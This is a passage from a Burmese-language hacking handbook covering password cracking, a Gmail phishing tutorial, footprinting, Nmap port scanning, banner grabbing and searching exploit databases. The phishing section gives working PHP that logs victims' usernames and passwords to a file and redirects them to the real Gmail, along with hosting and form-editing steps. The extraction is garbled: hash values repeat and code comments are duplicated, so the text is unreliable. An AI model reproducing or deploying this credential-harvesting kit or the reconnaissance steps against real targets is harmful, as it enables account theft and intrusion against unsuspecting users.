ျဖစႏငေခရတ Aသးမားတ password ေတြက၊ Dictionary Attack မာတနးက သးခတ Password

list ထက word ေတြက ႀကတင hash လပထားတ table က Rainbow table လ႕ေခၚပါတယ။

Website database ေတြထမာ password ေတြက သမးတA ခါ A မားဆး သးတ hashing algorithm

ကေတာ MD5 ပါ။

Website တစခမာ သင Register လပတယလ႕ ဆၾကပါစ႕။ Username ထညမယ၊ Password

ထညမယ။ ၿပးေတာ submit လပမယ။ submit လပလကတ A ခနမာ သငရ႕ password က MD5

Algorithm န႕တြကခကလကၿပး ရလာတ hash က database ထမာသမးလကပါတယ။ ဒါဆ

database ထမာ သမးလကတာ hash code ေတြပါ။ ဒေတာ ေနာကတစခါ Login ၀ငတA ခနမာ

ကယရကတ Password ရးရး (hash code မဟတ) န႕ ဘယလ၀ငလ႕ရတာလ? Login ၀ငဖ႕

password ရကၿပး ၀ငတA ခနမာ Script တစခက password က MD5 Algorithm န႕ပ

တြကခကလကၿပး Database ထမာသမးထားတ hash code န႕ တကဆငစစေဆးပါတယ။ မနရင

၀ငခြငေပးလကပါတယ။

‘khit100’ ဆတ စာလးA တြရ႕ MD5 Hash က 50f0434195db756dc7d145c319cfc38750f0434195db756dc7d145c319cfc38750f0434195db756dc7d145c319cfc38750f0434195db756dc7d145c319cfc387 ပါ။

‘www.myanmarfamily.org’ ဆတာက တြကလကရင 4d826a9df56b2904dd100d3ca1fbe0194d826a9df56b2904dd100d3ca1fbe0194d826a9df56b2904dd100d3ca1fbe0194d826a9df56b2904dd100d3ca1fbe019

ရပါမယ။ ျဖစႏငေခရတ စာလးA တြေတြရ႕ Hash Value Table သာရရင Brute-force Cracking

ထက Crack ရတာ A မားႀကးပသာပါလမမယ။ Rainbow table တစခက ဖနတးၿပးသြားၿပဆရင

Password ေတြက Crack ရတာဟာ Brute-force လပၿပး crack ျခငးထက A ဆ100 ပျမနပါလမမယ။

Windows password cracking A ခနးက ေရာကရင Rainbow table န႕ crack ျခငးက ေဖာျပပါမယ။

Page 35: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Phishing

Phising ဆတာ တစေယာကေယာကAသြင Aေယာငေဆာငၿပး Usernames ေတြ၊

passwords ေတြန႕ bank information ေတြက ခးယျခငးျဖစပါတယ။ Uပမာ - သငေငြထညထားတ

ဘဏကေန သငဆAးေမးလပ႕သလ ေမးလတစေစာငက ဟကာက ပ႕လကပါတယ။ Aဒေမးလထမာ

သငရ႕Aေကာငက သကတမးတးျမငဖ႕ လတယလ႕ေျပာၿပး link တစခ ေပးထားပါမယ။ Aဒ Link

ကႏပလကရငလညး ဘဏရ႕ home page န႕ခၽြတစြပတတ web page

တစခကေရာကသြားပါလမမယ။ ဒါေပမယ Aဒ page ႀကးကAတႀကးပါ။ Aဒကေနၿပး သငရ႕

password ေတြ ထညၿပး၀ငလကလ႕ကေတာ သငAခကAလကေတြဟာ ဟကာရ႕ ေမးလဆ

(ဒါမမဟတ) သ႕ရ႕ Web Server တစခဆေရာကသြားပါလမမယ။ Aေကာငးဆးလညစားႏငမယ

Phishing Web Pages ေတြက ေရးသားႏငတ ဟကာျဖစဖ႕ကေတာ HTML န႕ PHP

ဘာသာစကားေတြက တတေျမာကထားဖ႕လပါတယ။ Phishing Web Page

တစခဘယလလပမလဆတ နမနာေလးတစခ ေAာကမာေျပာျပပါမယ။ ဒလ Attack မးက

ကာကြယႏငဖ႕ ဟကာေတြရ႕ Phishing Page လပနညးလပဟနေတြက သထားဖ႕လပါတယ။

၁. ပထမဆး Target ေရြးပါမယ။ Phishing Attack က A မားဆးA လပခၾကရတ Target ေတြကေတာ

Hotmail န႕ Gmail ပါ။ ဘာလ႕လဆေတာ A ဒဟာေတြက လသးမားႀကၿပး

သငရ႕ေမးလA ေကာငထက ဟကာသာ၀ငႏငသြားရင တစျခား Website ေတြမာရတ

သငA ေကာငေတြရ႕ A ခကA လကေတြကလညး ရၿပေလ။ ဒ Uပမာမာေတာ Gmail က Target

ထားၿပး ေျပာျပသြားပါမယ။

၂. Target ကေရြးၿပးသြားရင A ဒ page ကသြားၿပး၊ Main page တစခလးက Save လပပါမယ။

ကၽြနေတာကေတာ Mozilla Firefox Browser က သးပါတယ။ ဒါေၾကာင www.gmail.com ကသြားၿပး

ေရာကသြားရင Browser က File -> Save page as ကႏပပါ။ ၿပးရင Save လပမယ ေနရာေရြးေပးပါ၊

Save as type : ေနရာမာ Web Page, complete ျဖစေနပါေစ။ ၿပးရင Save ကႏပလကပါ။

ပ - 32. 33

Page 36: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၃. Save လပၿပးသြားရင Aဒ Page ရ႕နာမညဟာ index.htm ဟတမဟတ ၾကညပါ။ မဟတရင

index.htm ေျပာငးလကပါ။ index လ႕ေျပာငးရျခငးAေၾကာငးကေတာ ဒဖငေတြက host

တစခခမာတငၿပး link က ဖြငၾကညရင index page က Aရငဆးေပၚလာမာ မ႕ပါ။

၄. ေနာကတဆငကေတာ AကငAယတဆး Aလပပါ။ login AခကAလကေတြက ခးဖ႕ PHP script

တစခ ေရးရပါမယ။ ေAာကက PHP script ကေတာ Login ၀ငတAခကAလကေတြက Sign in

လပတာန႕ သမးဆညးေပးမယ Script နမနာပါ။ Aလပလပပက ၾကညခငတယဆရင၊ ေAာကက

Page 37: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

code ေတြက Notepad ထမာ ကးထညၿပး Gmail page က save လပခတ ေနရာန႕တစေနတညးထမာ

phish.php ဆတနာမညန႕ သမးလကပါ။ ၿပးေတာ ဘာမမပါတ empty text file တစခကလညး

Aဒေနရာမာပ list.txt နာမညန႕ create လပလကပါ။

<?php // This marks the beginning of the // This marks the beginning of the // This marks the beginning of the // This marks the beginning of the PHP script.PHP script.PHP script.PHP script.

Header(“Location:

https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&co

ntinue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=

1k96igf4806cy&ltmpl=default&ltmplcache=2 “); // once you click “Sign in” // once you click “Sign in” // once you click “Sign in” // once you click “Sign in” in the fake in the fake in the fake in the fake

website, this redirects you to the real Gmail website, making the whole process look more website, this redirects you to the real Gmail website, making the whole process look more website, this redirects you to the real Gmail website, making the whole process look more website, this redirects you to the real Gmail website, making the whole process look more

legit.legit.legit.legit.

$handle = fopen(“list.txt”, “a”); // this tells the server to open the file “list.txt” and get it // this tells the server to open the file “list.txt” and get it // this tells the server to open the file “list.txt” and get it // this tells the server to open the file “list.txt” and get it

ready for appending data. Which in this case is yready for appending data. Which in this case is yready for appending data. Which in this case is yready for appending data. Which in this case is your username and password.our username and password.our username and password.our username and password.

Foreach($_GET as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, “=”);

fwrite($handle, $value);

fwrite($handle, “\r\n”);

} // This section simply assigns all the information going through this form to a variabl// This section simply assigns all the information going through this form to a variabl// This section simply assigns all the information going through this form to a variabl// This section simply assigns all the information going through this form to a variable. e. e. e.

This includes your username and password.This includes your username and password.This includes your username and password.This includes your username and password.

Fwrite($handle, “\r\n”); // This writes your details to the file “list.txt”// This writes your details to the file “list.txt”// This writes your details to the file “list.txt”// This writes your details to the file “list.txt”

fclose($handle); // This simply closes the connection to the file “list.txt”// This simply closes the connection to the file “list.txt”// This simply closes the connection to the file “list.txt”// This simply closes the connection to the file “list.txt”

exit;

?> // Marks the end of the PHP program.// Marks the end of the PHP program.// Marks the end of the PHP program.// Marks the end of the PHP program.

Page 38: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

ဒေတာ Web Page က Save လပထားတ ေနရာမာ ေAာကကAတငး ဖငေတြ ရေနပါလမမယ။

ပ - 34

၅. Aခ Aေပၚက လပခတ PHP Script န႕ Main Page က code ေတြက ခတဆကေပးဖ႕

လပရပါမယ။ Gmail Page က notepad န႕ဖြငလကပါ။

၆. Ctrl + F ႏပ၊ action လ႕ရကထညၿပး Find Next

ပ - 35

၇. ဒါဆ action ဆတ စာလးပါတ ေနရာေတြက ေရာကသြားပါမယ။ Main Page Script ထမာ action

ႏစေနရာ ပါပါတယ။ ဒါေၾကာင ေသေသခာခာ ေရြးဖ႕လပါတယ။ Aေပၚနားေလးမာ form id=

“gaia_loginform”

ဆၿပးပါတ action = “” လငခက phish.php လ႕ ေျပာငးေပးလကပါ။ Aဒလငခရ႕ ေနာက/ေAာက

မာ method= “post” ဆတာက ရာပါ။ “POST” က “GET” လ႕ျပငလကပါ။ method = “GET”

ဆၿပးေပါ။

၈. Aဒဖငက Save လပၿပး ပတလကပါ။

၉. ေနာကတစဆငကေတာ Aဒဖငေတြက php support ေပးတ free web host

တစခခမာတငလကပါ။ free ေပးတ host ေတြကေတာ Google န႕ ရာၾကညလကပါ။

Page 39: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၁၀. ဖငေတြ Aားလးတငၿပးသြားရင list.txt ဖငက writing permission ေပးရပါမယ။ hosting site

Aားလးတငးလလ ဖငတစခခငးစAတြက CHMOD option ေပးထားေလရပါတယ။ Aဒ option

ကေရြးေပးၿပး list.txt ဖငAတြက permission က 777 လ႕ေျပာငးေပးလကပါ။ ဒါက

ဘယလေျပာငးရမလ မသဘးဆရင Aဒ host က သးတ တစျခားသတစေယာကေယာကက

ေမးၾကညပါ၊ ဒါမမဟတ google န႕ “yourwebhostname chmod” ဆၿပး ရာၾကညပါ။

(yourwebhostname ေနရာက ကယဖငေတြက တငလကတ site name)

၁၁. Aားလးၿပးရင စမးၾကညၾကရေAာင၊ host ကေပးတ သငဆဒAတြက link ကႏပၾကညလကပါ။

Gmail page န႕ ခၽြတစြပတတ page တစခက ျမငရပါမယ။ username န႕ password ရကထညၿပး

၀ငလကပါ။ တကယ Gmail Aစစရ႕ page က ေရာကသြားပါမယ။

၁၂. Aခ သငတငထားတ host ဆက file manager ဆကသြားၿပး (ဒါမမဟတ)

http://www.yourwebhosturl.com/youraccount/list.txt ကသြားၿပး list.txt ဖငဖြငၾကညပါ။

AမားAားျဖင ဒလသြားၾကညႏငေပမယ သငသးတ host Aေပၚမတညၿပး url ေျပာငးလႏငပါတယ။

ခနက sign in ၀ငခတ username က “myusername” န႕ password က “mypassword”

လ႕ဆၾကပါစ႕။ ဒါဆရင list.txt ဖငထမာ ေAာကကAတငး ျမငရပါမယ။

ပ - 36

ေတြ႕တAတငးပါပ ဒAကြကက ခရတသကေတာ ကယရ႕ email password ပါသြားပါၿပ။

ေၾကာကစရာႀကး ေနာ?

Page 40: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

ကာကြယနညးမား

ဒ Chapter မာ ေဖာျပခတ Password Cracking နညးAားလးရ႕ ရနကေန ဘယလကာကြယရမလ

ဆတာက Aႀကေပးပါမယ။

Social Engineering, Shoulder Surfing န႕ Guessing နညးေတြAတြက ကာကြယနညးကေတာ

မေျပာေတာပါဘး။ Aခေခတမာ Aဒနညးေတြန႕ ခရေလာကေAာင A, တသမရေတာဘးလ႕

ထငလ႕ပါ။ ဒါေပမယ သခငေသးတယဆရငေတာ မရငးစာAပထမာ ဖတၾကညႏငပါတယ။

Dictionary Attack မား၏ ရနမ ကာကြယျခငး

ဒ Attack က ကာကြယဖ႕A တြကကေတာ A ရမးက ရးစငးပါတယ။ Dictionary ထမာ ပါတ

စကားလးေတြက password A ျဖစ မသးန႕ေပါ။ dictionary ထက စာလးေတြကသးမယ၊ ဒါေပမယ

စာလးတစခ႕က နပါတေတြန႕ A စားထးၿပးသးရင ေဘးကငးၿပလ႕ တစခ႕လေတြက

ထငတတၾကပါတယ။ ေဘးမကငးပါဘး။ 1337 ဘာသာစကား dictionary ေတြလညး

A မားႀကးထြကေနပါၿပ။ 1337 ဘာသာစကားဆတာ စာလးေတြက နပါတန႕A စားထးေရးတာပါ၊ Uပမာ

“animal” က 4n1m41 ဆၿပး ေရးၾကသလေပါ။

Brute-force Attack ရနမ ကာကြယျခငး

Password က ရညရညသး၊ password ထမာ နပါတေတြ၊ odd character

(!@#$%^&*><.....)ေတြပါ ထညသး၊ ဒါဆ ဒ Attack ရ႕ရနကေန

ေတာေတာကာကြယႏငပါလမမယ။ password ရညေလ၊ A ဒ password က crack ရတ

A ခနပၾကာေလပါပ။ သငရ႕ password က crack ေနရတာ ရကေတာေတာလညးၾကာလာတာန႕

hacker လညး စတပကၿပး A ရႈးေပးလကပါလမမယ။

Rainbow Tables ကသး၍ တကခကျခငးမ ကာကြယျခငး

Password က ရညရညသာေပးထားရင Rainbow Table ကသးၿပး Crack တရနကေန

ကာကြယႏငပါတယ။ Rainbow Table တစခဖနတးဖ႕တင Resource A မားႀကး၊ A ခနA မားႀကး

လပါတယ။ ဒါေၾကာင Rainbow Table ေတြက မားမားစားစား ရာမေတြ႕ႏငပါဘး။

Phishing ရနမ ကာကြယျခငး

ဒ Attack ကလညး ေA းေA းေဆးေဆးပ ေရာငလႊႏငပါတယ။ Website တစခက သငက

Username ေတြ၊ Password ေတြ ျဖညခငးၿပဆရင URL bar ထက ၾကညလကပါ။ Uပမာ - ကယဟာ

Page 41: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

gmail.com ထက ကယ password ရကထညၿပး ၀ငေတာမယဆပါစ႕၊ ဒါေပမယ URL bar ထက

address က ၀ငေနက gmail.com မဟတဘ gmail.randomsite.com, or gamilmail.com ဆၿပး

မတတ address ေတြျဖစေနရင Aဒါ Aတပါ။ Gmail Aစစ page ဆရင http://mail.google.com

ဆၿပး ျဖစရပါမယ။ ကနတာဆရင Aတပါ။

More Programs

Aခ Password Cracking ဆတာဘာလ သငသသြားပါၿပ။ ဒါဆ လႀကကမားတ ေAာကက

cracking software ေတြကလညး ေလလာၾကညပါ။

Can and Abel – http://www.oxid.it/cain.html

John the Ripper – http://www.openwall.com/john/

THC Hydra – http://freeworld.thc.org/thc-hydra/

Rainbow Crack – http://www.antsight.com/zsl/rainbowcrack/

Page 42: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter Five Network Hacking

Page 43: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Footprinting

Footprinting ဆတာ computer system တစခန႕ Aဒ ကြနပတာက ပငသရ႕

သတငးAခကAလကေတြက စစညးျခငးပါ။ ဟကာတစေယာကရ႕ Hacking လပငနးစUAတြက

ပထမဆးလပရမယ Aဆငျဖစသလ Aေရးလညးပါတ Aဆငပါ။ Aေၾကာငးက ကယေဖာကမယ

system ရ႕Aေၾကာငး/သတငးAခကAလကေတြက မေဖာကခငတညးက

ႀကတငသထားဖ႕လတယေလ။ Website တစခရ႕ Information ေတြက ဟကာတစေယာက

ဘယလယလဆတ Aဆငေတြက ေAာကမာေျပာျပပါမယ။

၁. ပထမဆးကေတာ Target Website ရ႕ သတငးAခကAလကေတြက စေဆာငးဖ႕ေပါ။ Website ရ႕

Email လပစာေတြ၊ နာမညေတြက ရာေဖြစစညးပါမယ။ ဒ site က Social Engineering န႕တကမယလ႕

ဆးျဖတထားရင ဒဟာေတြက Aသး၀ငလာမာပါ။

၂. Website ရ႕ IP Address က သေA ာငလပရပါမယ။

http://www.selfseo.com/find_ip_address_of_a_website.php ကသြားၿပး website ရ႕ URL က

ထညလကပါ။ IP Address ရပါလမမယ။

ပ - 37

Page 44: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၃. Aဒဆဒရ႕ Server ဟာ run ေန/မေန Ping လပၿပး စမးၾကညရပါမယ။ Offline ျဖစေနတ Server

က hack လ႕မ မရပေလ။ http://just-ping.com ဟာ ဆဒတစခက ကမၻာတစ၀မး 34 ေနရာကေနၿပး

ping လပေပးပါတယ။ Aဒကသြားၿပး website url ဒါမမဟတ website နာမညက ထညလကၿပး Ping

ကႏပလကပါ။ Packet Aားလး ျဖတသြားတယဆရင Server ဟာ online မာ ရေနပါတယ။

ပ - 38

၄. ေနာကတစဆငက Aဒဆဒရ႕ Whois က ရာပါမယ။ http://whois.domaintools.com သြားၿပး

target website နာမညက ထညရာလကပါ။ Aဒဆဒရ႕ Information ေတာေတာမားမားက

ေတြ႕ရပါမယ။ Aးေမးလေတြ၊ လပစာေတြ၊ နာမညေတြ၊ domain စတငတ ရကစြ၊ domain expire

ျဖစမယAခန၊ domain name server ေတြ စသျဖင Aမားႀကး ေတြ႕ရပါမယ။

၅. Search Engine ေတြရ႕ Aားသာခကကလညး Aသးခႏငပါေသးတယ။ Google မာ

“site:www.the-target-site.com” ဆၿပး ရကရာၾကညရင Aဒ website န႕ပတသကတ page

Aားလးက ေတြ႕ရပါမယ။ ပၿပးတတကက ရာေတြ႕ႏငဖ႕ Aဒေနာကမာ ဆငရာဆငရာ စာလးေတြက

Page 45: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

ထညရာႏငပါတယ။ Uပမာ - “site:www.the-target-site.com email” ဆၿပး ရာရင Aဒဆဒမာ

တငထားတ email Aကနလးကေတြ႕ရပါလမမယ။ Google န႕လပလ႕ရတ ေနာက Search

တစခကေတာ “inurl:robots.txt” ဆၿပး inurl: က သးရာျခငးပါ။ ဒလရာလကရင site ေတြရ႕ url ထမာ

robots.txt ပါတ url Aားလးက ေတြ႕ပါမယ။ ဆဒတစခမာ robots.txt ဖငရရင Aဒထမာ Search

Engine ေတြက ရာလ႕မေတြ႕ႏငတ ဆဒရ႕ Directory ေတြ၊ Page ေတြAားလး ပါ၀ငပါတယ။

ကေကာငးရငေတာ Aဒဖငထကေန Aဖးတနတ လ႕၀ကAခကAလကေတြ ရႏငပါတယ။

Page 46: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Port Scanning

Server တစခရ႕ Port ေတြက Scan လပရတ Aဓကရညရြယခကက open port ေတြက

သဖ႕န႕ Aဒ port ကသးၿပး run ေနတ Service ေတြက သဖ႕ပ ျဖစပါတယ။ သင Server ေပၚမာ Run

ေနတ Service Aားလးက ဟကာတစေယာက သသြားၿပဆရင Aဒ Service ေတြမာ ရႏငတ

Vulnerabilities ေတြက သရာပါေတာမယ။ ေတြ႕ၿပဆရင Aဒါေတြက AျပညA၀Aသးခၿပး သင

Website က ထနးခပဖ႕ႀကးပမးပါေတာမယ။ ဒ Port Scanning Example မာ လသမားတ Nmap

ဆတ Scanner က Aသးျပၿပး ေျပာသြားပါမယ။ http://nmap.org/download.html ကေန

ေဒါငးလကပါ။

၁. ပထမဆး Target site Address ကထညပါမယ။ Command: A ကြကထမာပါ

လကေျပာငးသြားတာက သတျပမတယေနာ။ A ဒ command ေတြကေတာ A ခသးေနတ GUI

version မဟတဘ CLI version ဆရင သးရမယ command ေတြပါ။

ပ - 39

၂. Profile (သ႕မဟတ) Scan type က ေရြးခယရပါမယ။ A ေတြ႕A ႀကရငတ ဟကာႀကးေတြကေတာ quick and quiet scan က ေရြးၾကပါတယ။ Full version detection scan ကေရြးရင ရပမသြားႏငပါတယ။ ဒါေၾကာင ဒဟာေတြက မေရြးပါန႕A း။ ပ - 40

Page 47: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၃. ေAာကကပကေတာ Simple Scan န႕ scan လပလကရင ေတြ႕ရမယ ရလဒပါ။ ပ - 41

၄. ေတြ႕ရတ Aတငးပ open port ေတြန႕ Aဒ port ေတြမာ run ေနတ Service ေတြက

ျပထားပါတယ။ လသမားတ Port ေတြန႕၊ Service ေတြကေတာ……

Port Service

20 FTP data (File Transfer Protocol)

21 FTP (File Transfer Protocol)

22 SSH (Secure Shell)

23 Telnet

25 SMTP (Simple Mail Transfer Protocol)

43 Whois

53 DNS (Domain Name Service)

68 DHCP (Dynamic Host Control Protocol)

80 HTTP (Hyper Text Transfer Protocol)

110 POP3 (Post Office Protocol, version 3)

137 NetBIOS-ns

138 NetBIOS-dgm

139 NetBIOS

143 IMAP (Internet Message Access Protocol)

161 SNMP (Simple Network Management Protocol)

194 IRC (Internet Relay Chat)

220 IMAP3 (Internet Message Access Protocol 3)

443 SSL (Secure Socket Layer)

445 SMB (NetBIOS over TCP)

1352 Lotus Notes

1433 Microsoft SQL Server

Page 48: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

1521 Oracle SQL

2049 NFS (Network File System)

3306 MYSQL

4000 ICQ

5800 VNC

5900 VNC

8080 HTTP

5. Aသးျပေနတ Port ေတြက ရာေနတ တစခနတညးမာ Aဒ Server မာ ဘာ OS သးေနလ ဆတာပါ

ရာဖ႕လပါတယ။ OS တငးလလမာ Aားနညးခကေတြ ရတတၾကပါတယ။ ဒါေၾကာင ဘာ OS

သးလသရင ေAာငျမငဖ႕ AခြငAေရးပမားလာပါမယ။ Nmap မာ OS က Detect လပတ option

တစခပါတာ ေတြ႕မာပါ။ ဒါေပမယ ျဖစႏငရငAဒါက မသးပါန႕။ Aဒ scan ဟာ

Aႏရာယမားလြနးပါတယ။ Aရငတနးကေတာ OS ကသႏငဖ႕ 404 Error Page တစခက

ရေAာငလပၾကညပါတယ။ တကယမရတ Website Address တစခရ႕ url ကထညၾကညရင A ဒ 404

Error Page တကလာပါတယ။ Uပမာ - www.targetsite.com/kjefkljakdfjkdfj.php ဆၿပး

ရကထညၾကညပါ။ A ဒလနာမညန႕ page A ဒဆဒမာေတာရမာမဟတပါဘး။ ဒါေၾကာင 404 error

page ေပၚလာမာပါ။ 404 error page A မားစဟာ A ဒ server မာ သးတ OS A မညန႕ version

ကေဖာျပထားတတပါတယ။ ဒေန႕ေခတ ဆဒေတာေတာမားမားကေတာ A ဒလ မေဖာျပေတာပါဘး။

ဒါေၾကာင ဒနညးဟာ A ၿမA သးမ၀ငပါဘး။

၆. Nmap CLI version က သးဖ႕ရညရြယထားရင ဒါမမဟတ nmap မာသးတ command

ေတြA ေၾကာငးသခငရင http:// nmap.org/book/man.html က သြားၾကညပါ။

၇. A ခ ဟကာဟာ Open ports ေတြန႕ run ေနတ services ေတြက သၿပဆေပမယ Server version

ကသဖ႕ကနေသးတယေနာ။ ဒေတာ သေA ာင လပရေတာမာေပါ။ ဘယလလပရမလဆေတာ

ေနာကေခါငးစUတစချဖစတ Banner Grabbing ကဆကေလလာၾကညပါ။

Page 49: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Banner Grabbing

Run ေနတ Service ေတြက သၿပဆေတာ Aဒါေတြက Aသးခဖ႕Aတြက Aဒ service

ေတြမာသးေနတ software AမးAစားန႕ version ကသေAာငလပဖ႕ လလာပါၿပ။

ဒAခကAလကေတြက ရဖ႕ နညးတစခကေတာ service port ေတြဆ telnet လပၾကညဖ႕ပါ။ ဒ

Example မာ ၀ငးဒးမာပါတ command prompt ကAသးျပသြားပါမယ။

(Start->Run->Type “cmd” -> Enter). Linux/Mac ကသးေနတာဆရငေတာ terminal ကသးေပါ။

မတခက - Windows Vista မာေတာ telnet က မသြငးေပးထားပါဘး။ ေAာကပါနညးAတငး

သြငးလကပါ။

- Start -> Control Panel

- Programs and Features ကေရြးပါ

- Turn Windows Features on or off ကေရြးပါ

- Telnet Client ကေရြးေပးၿပး OK ကႏပပါ

- ၁. Nmap န႕စစခတနးက ေတြ႕ခတ open port တစခခက ေရြးခယရပါမယ။ port 21

ပြငေနတာ ေတြ႕ခတယလ႕ ဆၾကပါစ႕။ ဒါဆ port 21 ဟာ ဘာ port လ Aေပၚက

ဇယားမာျပနၾကညပါ။ port 21 ဟာ FTP Aတြကေနာ။ ဒေတာ ဘယ FTP software

ကသးေနလ ၾကညဖ႕Aတြက telnet www.target.com 21 ဆၿပး ရကထညပါ။

ပ - 42

Aေပၚကပမာေတာ ကယရ႕စကက ကယျပနစမးေနတာျဖစတAတြက (localhost) ဆၿပး

ရကထညထားပါတယ။ localhost ေနရာမာ ကယ target ရ႕ URL ကထညပါ။

Page 50: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၂. Aဒေနာကမာေတာ Target က connect လပၿပး software နာမညန႕ version က

ေAာကမာျပထားတ ပAတငး ေဖာျပလာပါလမမယ။ ဒAခကAလကဟာ ဟကာလေနတ

Aခကပါပ။ Aခေတြ႕တ software က ထးႏကႏငမယAားနညးခကက ဟကာဟာ စရာပါေတာမယ။

ပ - 43

ဒနညးက Aလပမျဖစဘးဆရင ဒAခကAလကေတြကရဖ႕ Nmap မာ Scan က Full version

detection န႕သာ စစလကပါေတာ။

Page 51: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Searching for Vulnerabilities

Server software ရ႕နာမညန႕ version number ကသသြားၿပးတေနာကမာ

ဟကာတစေယာကဟာ ထးႏကႏငမယ ဟာကြကေတြက ရာဖ႕Aတြက AဒAခက Aလကေတြက

Aေျခခၿပး Vulnerability database ေတြမာ သြားရာၾကညရပါမယ။ သန႕ကကညမယ Exploit

ကေတြ႕ၿပဆတာန႕ server ကAဒါန႕တကခကၿပး ထနးခပႏငေAာင လပပါေတာမယ။ exploit

မေတြ႕ဘးဆရငေတာ ေနာက port တစခ ေနာက service တစခက ႀကးစားၾကညရမာေပါ။

လသမားတ Exploit database တစခ႕ကေတာ

Milw0rm – http://www.milw0rm.com/

Security Focus - http://www.securityfocus.com/

Osvdb – http://osvdb.org/

ဒစာAပေရးေနခနမာ ကၽြနေတာစကမာ သးေနတ FTP software “filezilla” Aတြက exploit

က milw0rm မာ သြားရာၾကညရင ေတြ႕မာ မဟတပါဘး။ လAမားစကေတာ ဒလမေတြ႕တာန႕ ေနာက

port တစခက Service ရ႕ Vulnerability ကရာဖ႕ ၾကးစားၾကပါတယ။ ဒါေပမယ ဟကာတငးေတာ

ဒလလပၾကတယလ႕ မဆႏငပါ။ AရညAခငးျပည၀တ ဟကာတစေယာကဟာ Current software

version ရ႕ exploit က exploit database ေတြမာ မေတြ႕လညး Aဒ software ရ႕ Aားနညးခကက

သကယတငရာၿပး exploit က ကယတငဖနတးပါလမမယ။ ဟကာေလာကမာ ဒလ Aသစေတြ႕တ

Vulnerability က “0-day” လ႕ေခၚၾကပါတယ။

Aခ ေတြ႕ခၿပးသား Vulnerability ေတြက တကခကခတပစေလးေတြAေၾကာငးနညးနညး

ေျပာျပပါမယ။

Denial-of-Service (DoS) – DoS attack မးကြေပါငး Aမားႀကးရပါတယ။ ဒါေပမယ Aားလး

Uးတညခကတစခတညး A တြကပါ။ server တစခမာ မတပတငထားတ User ေတြ Aဒ server

ကသးလ႕မရေAာင လပတာပါပ။ Aသးမားတ DoS attack ပစကေတာ Aဒ server ဆ

AခကAလကေတြ ေတာငပယာပ ပ႕ၿပး server က busy ျဖစေAာငလပပါတယ။ server ဟာသပ႕တ

လကAခကAလကေတြ Aတြက AလပမားေနရတAတြက user ေတြ သးစြဖ႕ Login ၀ငတAခနမာ

၀ငႏငေAာင မလပေပးႏငေတာပါဘး။

Buffer Overflow (BoF) – program တစခဟာ buffer တစခ (or) storage area တစခရ႕

သမးဆညးႏငတ ပမာဏထက ပၿပး သမးဆညးဖ႕ ႀကးပမးရင Buffer Overflow ျဖစပါတယ။ Buffer

တစခဟာ သတမတထားတ data ပမာဏကပ လကခပါတယ။ Aဒထကပသြားရင

Page 52: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

AခကAလကေတြဟာ တစျခား Buffer ေတြဆ လထြကသြားခနမာ ဟကာေတြရ႕ malicious code

ေတြန႕ Aစားထးလကျခငး ခရႏငပါတယ။ Aဒ code ေတြ ထ execute လပမၿပဆရင server က

ဟကာက ခြထငလကႏငပါၿပ။

Milw0rm မာ exploit ေတြရာၿပဆရင local exploit န႕ remote exploit ဆတ ေခါငးစUခြေတြက

ေတြ႕မာပါ။ Aဒါေတြရ႕ Aဓပၸာယကေတာ…

Local Exploit – local exploit က run ဖ႕Aတြက run မယ စကေပၚမာ Aသးျပခြငရမယ privilege

user access ရဖ႕လပါတယ။ ဒ exploit က မားေသာAားျဖင privilege Aဆငကေန admin (or)

